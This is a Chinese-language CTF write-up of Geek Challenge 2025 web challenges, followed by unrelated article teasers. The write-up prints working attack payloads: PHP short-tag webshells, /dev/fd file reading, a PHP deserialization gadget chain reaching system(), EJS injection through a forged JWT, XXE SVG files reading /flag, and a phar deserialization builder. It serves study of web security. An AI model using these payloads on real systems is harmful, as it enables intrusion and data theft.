极客大挑战2025-web复现

极客大挑战2025-web复现

题解

1.one_last_image(php文件上传/ 短标签利用)

进来以后发现是个文件上传的题,然后就试着传一个php文件上去

发现里面给出了uploads的路径,访问。如果是空的php进去会发现什么都没有,为了绕过对常见的php标签以及命令执行函数的限制,我们用短标签。

<?=`env`; 或 <?=('sys'.'tem')('env');

然后顺着操作即可。然后其他人说在phpinfo里面可以找到,

2.Vibe SEO(站点地图的使用/未关闭文件与文件描述符的读取)

看到这个题还是很蒙的,因为界面里什么都没有。然后了解了一下才知道站点地图是什么。

站点地图(sitemap.xml)是一个XML格式的文件,它列出了网站中所有重要的网页URL,并可以附带每个URL的额外信息(例如最后更新时间、更新频率、相对重要性等),主要作用是帮助搜索引擎更高效、全面地抓取和索引网站内容。

以下是它的核心要点:
核心作用引导搜索引擎爬虫:特别是对于大型、结构复杂(深层链接多)或新建立的网站,能确保搜索引擎发现所有重要页面,避免遗漏。提示更新频率和优先级:通过 <lastmod>(最后修改时间)、<changefreq>(更新频率)和 <priority>(优先级,0.0-1.0)等可选标签,为搜索引擎抓取提供参考建议(搜索引擎不一定会完全遵循)。加速内容索引:新发布或更新的页面可以通过提交站点地图,更快地被搜索引擎发现和收录。文件位置

通常放置在网站的根目录下,例如:

大型网站可以使用站点地图索引文件来管理多个站点地图文件。

盲猜/aa__^^.php是个线索,

从中可以看到:
脚本正在寻找一个叫 filename 的参数readfile()
那么尝试提供一个参数 /aa__^^.php?filename=aa__^^.php 可以成功读到这个脚本的源码:

<?php $flag = fopen('/my_secret.txt', 'r'); if (strlen($_GET['filename']) < 11) { readfile($_GET['filename']); } else { echo "Filename too long"; }

很明显,我们不可能直接获得答案,因为字符限制。但是,因为fopen打开了 txt 文件并且将handle的值给了变量 flag。并且他没有对应的文件关闭操作,所以,他可以通过文件描述符来进行读取

(Linux 中一个进程打开一个文件时,内核会分配一个文件描述符给这个文件 handle,新打开的文件从 3 开始递增,可以通过 /proc/self/fd/<自然数> 或 /dev/fd/<自然数>来访问这些文件描述符 )

遍历操作:

import requests URL = "http://REPLACE TO YOUR URL" for i in range(99): print(requests.get(URL + f"/aa__^^.php?filename=/dev/fd/{i}").text)

3.popself(php反序列化)

这题对于小白来讲还是不太友好,有这么一些前置知识是需要了解的。然后对我来说还是太费脑了些,所以很多参考了前人的题解,最后比较勉强的写了这篇

https://blog.ZEEKLOG.net/bylfsj/article/details/105021121?ops_request_misc=elastic_search_misc&request_id=8548ec7cacd499a7f6b2eb9cea07eeb9&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~ElasticSearch~search_v2-9-105021121-null-null.142^v102^pc_search_result_base7&utm_term=php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AE%9E%E8%B7%B5&spm=1018.2226.3001.4187

甲、php的反序列化是什么?

        定义:把保存在内存中的各种对象状态(属性)保存起来,并且在需要时候还原出来。

那么具体的讲,就是我们在传输一个对象的时候为了便于保存,传输,我们需要对他做一定的修改,使其快捷高效。可以想象成整理行李箱。需要携带的衣物(对象属性)被折叠整齐(编码),按照特定顺序放入箱子(字节流)。拉链闭合后(序列化完成),箱子可以通过运输工具(网络/存储)传递。到达目的地后开箱(反序列化),衣物恢复原有形态。

來看下面這個例子:

<?php class Person { private $name; private $age; function __construct($name, $age) { $this->name = $name; $this->age = $age; } function say() { echo "我的名字叫:" . $this->name . "<br/>"; echo "我的年龄是:" . $this->age; } } $p1 = new Person("张三", 20); $p1_string = serialize($p1); // 将对象序列化后写入文件 $fh = fopen("p1.text", "w"); fwrite($fh, $p1_string); fclose($fh); 

他序列化出來就是這個:

O:6:"Person":2:{s:12:" Person name";s:4:"张三";s:11:" Person age";i:20;} 对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

可見,序列化后的對象所有的變量都被保存下來了,而且,其序列化后的结果都有一个对应的字符,关系如下

通过这个例子,我们就能理解php的序列化是什么,自然的,反序列化也无非就是反过来解析而已

乙、序列化的漏洞何时发生?

当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。

事实上,当我们的对象在序列化的过程中势必会用到一下其他的方法,否则不可能将他转译,这些方法在php中即为魔术方法(以双下划线 __开头的方法,它们会在特定时机被PHP自动调用)。这是整个攻击的基石。本题中用到的关键魔术方法有:

  • __destruct(): 析构方法。当一个对象被销毁时(比如脚本执行结束),PHP会自动调用它。
  • __set(): 当给一个对象的不存在的属性不可访问的属性(如private)​ 赋值时,PHP会自动调用它。
  • __call(): 当调用一个对象的不存在的方法不可访问的方法时,PHP会自动调用它。
  • __toString(): 当把一个对象当作字符串来使用时(比如 echo $object),PHP会自动调用它。
  • __invoke(): 当把一个对象当作函数来调用时(比如 $object()),PHP会自动调用它。

对此,我们可以明确,对象漏洞的发生必须有两个先决条件:

一、unserialize的参数可控。
二、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数

举例说明:在这个代码中,用户输入直接反序列化,所以我们可以直接构造如图中?后的语句,传入后调用_destruct()函数,覆盖test变量并输出lemon。所以,只要我们发现了一个漏洞点,就可以利用他控制输入变量,拼接我们想要的对象。

<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>

还有一个例子:

<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句 } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?>

我们手动构造序列化对象就是为了unserialize()函数能够触发__destruc()函数,然后执行在__destruc()函数里恶意的语句。

所以我们利用这个漏洞点便可以获取web shell了

丙、初步练习

部署他们

<?php class SoFun { public $file = 'index.php'; function __destruct() { if(!empty($this->file)){ if(strchr($this->file, "\\") === false && strchr($this->file, "\\") === false && strchr($this->file, '/') === false) { echo "<br>"; show_source(dirname(__FILE__).'/'.$this->file); } else die('Wrong filename.'); } } function __wakeup() { $this->file = 'index.php'; } public function __toString() { return '*****'; } } if (!isset($_GET['file'])) { show_source('index.php'); } else { $file = $_GET['file']; echo unserialize($file); } ?> <!--key in flag.php-->
<?php echo "rsv{千里之行,始于足下}"; ?>

现在你会看到一个可以读出file的 show_source(dirname(__FILE__) . '/' . $this->file); 语句,通过destruct方法打开flag.php。然后会重置文件名的wakeup方法,将你的文件名置为index.php。

这里用到CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
构造序列化对象:O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";}
易有构造绕过__wakeup:O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}

丁、回到题目

其包含的函数作用如下:

  • __destruct():对象销毁时触发,是本题利用链起点。
  • __set():给对象不存在 / 不可访问属性赋值时触发。
  • __call():调用对象不存在 / 不可访问方法时触发。
  • __invoke():对象被当作函数调用时触发。
  • __toString():对象被当作字符串使用时触发。

要进入__set()里的if块,即需要满足 __set的触发前提:

main对象的__destruct()里执行了$this->QYQS->partner = "summer"。$this->QYQS指向的是qyqs对象;而QYQS对象没有partner属性(类里定义的属性是Foxkomiko等,无partner);给对象不存在的属性赋值,从而触发qyqs对象的__set()方法 这样就进入了__set函数体。

这里涉及第一个技术点:MD5弱类型比较 ==   在PHP中,如果两个字符串以 0e开头,后面全是数字,在进行 ==比较时,PHP会将它们视为科学计数法,都等于数字 0,从而使条件成立。 例如:md5('f2WfQ')的结果是 0e291242476940776845150308577824,md5('0e215962017')的结果也是 0e291242476940776845150308577824。所以 "0e..." == "0e..."结果为 true。 因此,我们只需设置:

  • $obj->KiraKiraAyu = 'f2WfQ'
  • $obj->K4per = '0e215962017'
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){ echo "BOY♂ sign GEEK<br>"; echo "开启循环吧<br>"; $this->QYQS->partner = "summer"; }

然后是两个if条件,我们刚才$this->QYQS->partner = "summer"的时候事实上已经创建了对象qyqs并且通过set设置partner属性,因此$this->QYQS->partner = "summer";,等价于 $qyqs->partner = "summer";所以现在我们的$this所指代就是qyqs对象,$fox就是你设置的["summer", "find_myself"](数组)。instanceof用来判断变量是否是某个类的实例,数组显然不是All_in_one的实例,因此结果为true

然后是第二个条件判断。这里用到第二个技术点:PHP的可调用对象   在PHP中,数组['ClassName', 'staticMethodName']可以被当作函数来调用,效果是执行那个静态方法。对于$fox = ["summer", "find_myself"],调用$fox()等价于执行summer::find_myself();而summer类的find_myself()方法也返回"summer",因此$fox() === "summer"结果为true。

 $fox = $this->Fox; if ( !($fox instanceof All_in_one) && $fox()==="summer"){ echo "QYQS enjoy summer<br>"; echo "开启循环吧<br>"; $komiko = $this->komiko; $komiko->Eureka($this->L, $this->sleep3r);

上一步if成立,执行 $komiko->Eureka($this->L, $this->sleep3r)。
这里触发 __call():
1.$komiko是 $qyqs的一个属性,我们也可以控制它指向另一个对象(比如指向最初的 $main对象)。
2.Eureka这个方法在 All_in_one类中并不存在。
3.根据规则,调用一个对象的不存在方法,会触发该对象的 __call()方法。

 public function __call($method, $args){ if (strlen($args[0])<4 && ($args[0]+1)>10000){ echo "再走一步<br>"; echo $args[1]; } else{ echo "你要努力进窄门<br>"; } }

我们需要让 if条件成立: 1. strlen($args[0]) < 4:第一个参数长度小于4。2. ($args[0] + 1) > 10000:第一个参数加1大于10000。

怎么做呢?这就涉及到PHP弱类型和科学计数法 我们可以设  $qyqs->L = "1e5": • strlen("1e5")是 3,满足。  "1e5" + 1,PHP会将字符串 "1e5"当作数字 100000处理,100000 + 1 = 100001 > 10000,满足。 条件成立,执行 echo $args[1];。 $args[1]是 $this->sleep3r,我们控制它指向第三个对象​ $sleep3r。

但是,$args[1]是一个对象,当我们用 echo去输出它时,PHP会试图把它变成字符串,于是调用了它的 __toString()方法。

 public function __tostring(){ echo "再走一步...<br>"; $a = $this->_4ak5ra; $a(); } 

$a();!!!它把 $this->_4ak5ra当作函数来调用。

这里触发最后一步__invoke():我们设置 $sleep3r->_4ak5ra = $sleep3r,即让它自己指向自己。那么 $a()就是 $sleep3r()。根据规则,把一个对象当作函数调用,会触发它的 __invoke()方法。

 public function __invoke(){ echo "恭喜成功signin!<br>"; echo "welcome to Geek_Challenge2025!<br>"; $f = $this->Samsāra; $arg = $this->ivory; $f($arg); }

这里就非常直接了。它把 $this->Samsāra当作函数来调用,并传入参数 $this->ivory

我们只需设置:

  • $sleep3r->Samsāra = "system"
  • $sleep3r->ivory = "printenv"

那么,最终 $f($arg)就是 system("printenv")

4.Expression(jwt/ EJS渲染漏洞)

jwt由三部分组成,用点.分隔:Header.Payload.Signature。抓完包以后可以看见,然后我们把他丢到JSON Web Tokens - jwt.io上面破译。得到密钥是secret,然后会发现,用户名是由服务器端随机生成并返回的,但是他没有进行过滤,所以我们试着对他进行操作。

另外,从截获的响应里面可以知道他用的是Node.js + Express ,即EJS模板引擎,他最为严重的问题就是 如未经转义在用户端渲染过程中就会提供一个攻击的途径:

EJS的标签用法:
所有使用 <% %> 括起来的内容都会被编译成 Javascript,可以在模版文件中像写js一样Coding

语法作用 特点
<% %>执行 JS 代码(无输出)流程控制专用
<%= %> 输出表达式结果(转义 HTML)安全输出,防 XSS
<%- %>输出表达式结果(不转义 HTML)适合渲染富文本,有风险
<%# %>EJS 注释 不执行、不显示
<%% %> 输出字面量<%转义 EJS 语法标签

这里jwt的username会被渲染
 

可以看见我们的思路得到了验证,继续让他暴露自己的环境。

5.Image Viewer (XXE & SVG)

SVG 的两种使用方式
1. 作为独立的 XML 文件(.svg)

<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg">     <circle cx="100" cy="100" r="50" fill="red"/>     <text x="100" y="110" text-anchor="middle" fill="white">         SVG     </text> </svg>

2. 嵌入到 HTML 中

<!DOCTYPE html> <html> <body>     <h1>我的 SVG 图形</h1>          <!-- 内联 SVG -->     <svg>         <circle cx="100" cy="100" r="50" fill="blue"/>         <text x="100" y="110" text-anchor="middle" fill="white">             SVG         </text>     </svg>          <!-- 或作为图片引用 -->     <img src="graphic.svg" alt="SVG图形"> </body> </html>

打开文件选择,会发现存在svg格式的图片上传通道。

 当我的网站在解析svg时没有禁用外部实体,就可能导致xxe(extensible makeup language External Entity Injection)

<?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:/flag" > ]><!-- 这里就是攻击的来源,也是命名的由头:定义了一个叫xxe的外部实体,功能是从系统文件中找到带flag的文件并返回 --> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-family="Verdana" font-size="16" x="10" y="40">&xxe;<!-- 此处的&符合语法,即调用一个叫xxe的实体并执行,注意前面的标签是text,说明返回的东西一文本形式进行渲染 --></text></svg> 
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///flag" > ]> <svg> <text x="10" y="20">&file;</text> </svg>

上面两个都可 逻辑是一样的,然后上传 完成!

6.ez-seralize

php反序列化拓展攻击详解--phar

更近一步的理解可以先看看phar反序列化专题

前置提要Phar(PHP Archive)反序列化漏洞是PHP安全领域中一个非常重要且巧妙的攻击技术。与常规反序列化漏洞不同,Phar反序列化不需要代码中存在明显的unserialize()函数,只要存在文件操作函数即可触发,这使其具有极高的隐蔽性和广泛的适用性。原理概述:由于phar://协议,使得当我们通过phar://流包装器进行了文件的读取操作时(无论目标文件扩展名为何,只要其二进制结构符合PHAR格式),解析器读取文件元信息会自动执行unserialize()函数反序列化元数据,这为文件中上下文没有反序列化语句时提供了良好的攻击途径。攻击者可以将序列化后的恶意对象存储在PHAR文件的元数据中,并利用任何能够以 phar://协议操作文件的功能(如 file_get_contents, include等)作为触发点,在目标代码没有显式调用 unserialize()的情况下,触发反序列化漏洞,执行任意代码。利用条件:文件上传+文件操作函数+参数可控

        几乎所有文件操作函数都可能触发

Phar 反序列化本身只是 “触发反序列化”,能否执行命令取决于目标代码中是否存在可利用的反序列化 Gadget 链

看到题目,我先想到robot,然后顺藤摸瓜,看下代码里面有没有线索。

function.php:

<?php class A { public $file; public $luo; public function __construct() { } public function __toString() { $function = $this->luo; return $function(); } } class B { public $a; public $test; public function __construct() { } public function __wakeup() { echo($this->test); } public function __invoke() { $this->a->rce_me(); } } class C { public $b; public function __construct($b = null) { $this->b = $b; } public function rce_me() { echo "Success!\n"; system("cat /flag/flag.txt > /tmp/flag"); } }

完了,看到现在居然还是没看懂phar怎么打。算了,先找同类题看看吧

<?php class A { public $file; public $luo; } class B { public $a; public $test; } class C { public $b; public function rce_me() { system("cat /flag/flag.txt > /tmp/flag"); } } // 构造对象 $c = new C(); $b = new B(); $b->a = $c; // B::$a = C instance $a = new A(); $a->file = $b; // A::$file = B instance $a->luo = [$b, '__invoke']; // callable array, serializable! $b->test = $a; // B::$test = A instance → echo triggers __toString @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($b); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>

Read more

NWPU VHR-10数据集 无人机遥感目标检测数据集 飞机 储罐 棒球场 网球场篮球场 港口车辆桥梁检测 遥感图像中的地理空间目标检测

NWPU VHR-10数据集 无人机遥感目标检测数据集 飞机 储罐 棒球场 网球场篮球场 港口车辆桥梁检测 遥感图像中的地理空间目标检测

NWPU VHR-10数据集 遥感数据集 NWPU VHR-10数据集是 10个类别地理空间目标检测的挑战性数据集,共650张图片。 YOLO和COCO格式 数据集按默认划分比例:390张训练集、130张验证集、130张测试集。 手动标注了757架飞机、302艘船只、655个储罐、390个棒球场、524个网球场、159个篮球场、163个田径场、224个港口、124座桥梁和598辆车辆。 📊 一、数据集总体信息 项目描述数据集名称NWPU VHR-10(Northwestern Polytechnical University Very High Resolution 10-class Dataset)任务类型遥感图像中的地理空间目标检测(Object Detection in Remote Sensing Images)图像总数650 张(均为高分辨率遥感图像,源自 Google Earth 等平台)图像分辨率约 600×600

FPGA内部资源详解:LUT、FF、BRAM、DSP、PLL是什么?综合报告怎么看

FPGA内部资源详解:LUT、FF、BRAM、DSP、PLL是什么?综合报告怎么看

本文是《FPGA入门到实战》专栏第8篇。上一篇完成了第一个下板项目,本篇从芯片内部视角出发,深入讲解 FPGA 的五大核心硬件资源:LUT、FF、BRAM、DSP 和 PLL。理解这些资源的工作原理和使用限制,是写出高质量 FPGA 代码、读懂综合报告的基础。 FPGA内部资源详解:LUT、FF、BRAM、DSP、PLL是什么?综合报告怎么看 * 1. 为什么要了解内部资源 * 1.1 Artix-7 资源概览 * 2. LUT 查找表 * 2.1 LUT 是什么 * 2.2 LUT 实现任意 6 输入函数 * 2.3 LUT 的双输出模式(O5/

【Microi 吾码】基于 Microi 吾码低代码框架构建 Vue 高效应用之道

【Microi 吾码】基于 Microi 吾码低代码框架构建 Vue 高效应用之道

我的个人主页 文章专栏:Microi吾码 引言 在当今快速发展的软件开发领域,低代码开发平台正逐渐崭露头角,为开发者们提供了更高效的应用构建途径。Microi 吾码低代码框架结合 Vue的强大前端能力,更是为打造高效应用提供了绝佳的组合。在这里,我将深入探讨如何基于 Microi 吾码低代码框架构建 Vue 高效应用。 Microi吾码官网: https://microi.net GitEE开源地址: microi.net: 一:Microi吾码安装指南 1、系统要求 * 操作系统:支持Windows、Linux等主流操作系统。 * 数据库:需要安装并配置支持的数据库,如MySql5.5+、SqlServer2016+、Oracle11g+等。 * 其他软件:安装.NET 8 SDK、Redis,并且最好安装Git用于代码获取。对于一些高级功能,可能还需要安装Docker、MinIO、MongoDB、RabbitMQ、

海康机器人3D激光轮廓仪快速调试一

海康机器人3D激光轮廓仪快速调试一

3D轮廓仪相机物料准备 DP系列轮廓仪 24V开关电源 8pin转RJ45千兆网线 12pin转open电源线 直线运动平台 海康3D授权加密狗 软件下载 机器视觉立体相机客户端 —— 3DMVS客户端 3DMVS客户端是专为海康机器人立体相机开发的软件应用程序。适用于MV-DP系列3D激光轮廓传感器、MV-DL系列线 激光立体相机。客户端支持实时预览、参数配置、标定、数据保存、升级固件等功能。 用于3D轮廓仪图像效果调试;并集成相机SDK二次开发包供客户开发; 软件获取方式:海康机器人官网->服务支持->下 载中心,找到3DMVS最新版本下载即可 海康机器人-机器视觉-下载中心 (hikrobotics.com) 安装完成3DMVS后,SDK二次开发包路径: 默认装C盘,安装过程一直单击下一步即可 打开3DMVS后显示效果;“设备列表”里会显示当前网络里的3D相机 电脑环境配置 • 环境配置 • 关闭防火墙和杀毒软件(若安装有360、火绒、腾讯管家等杀毒软件,请关闭退出杀毒软件) • 电源选型设置为高性能模式:通过“控制面板>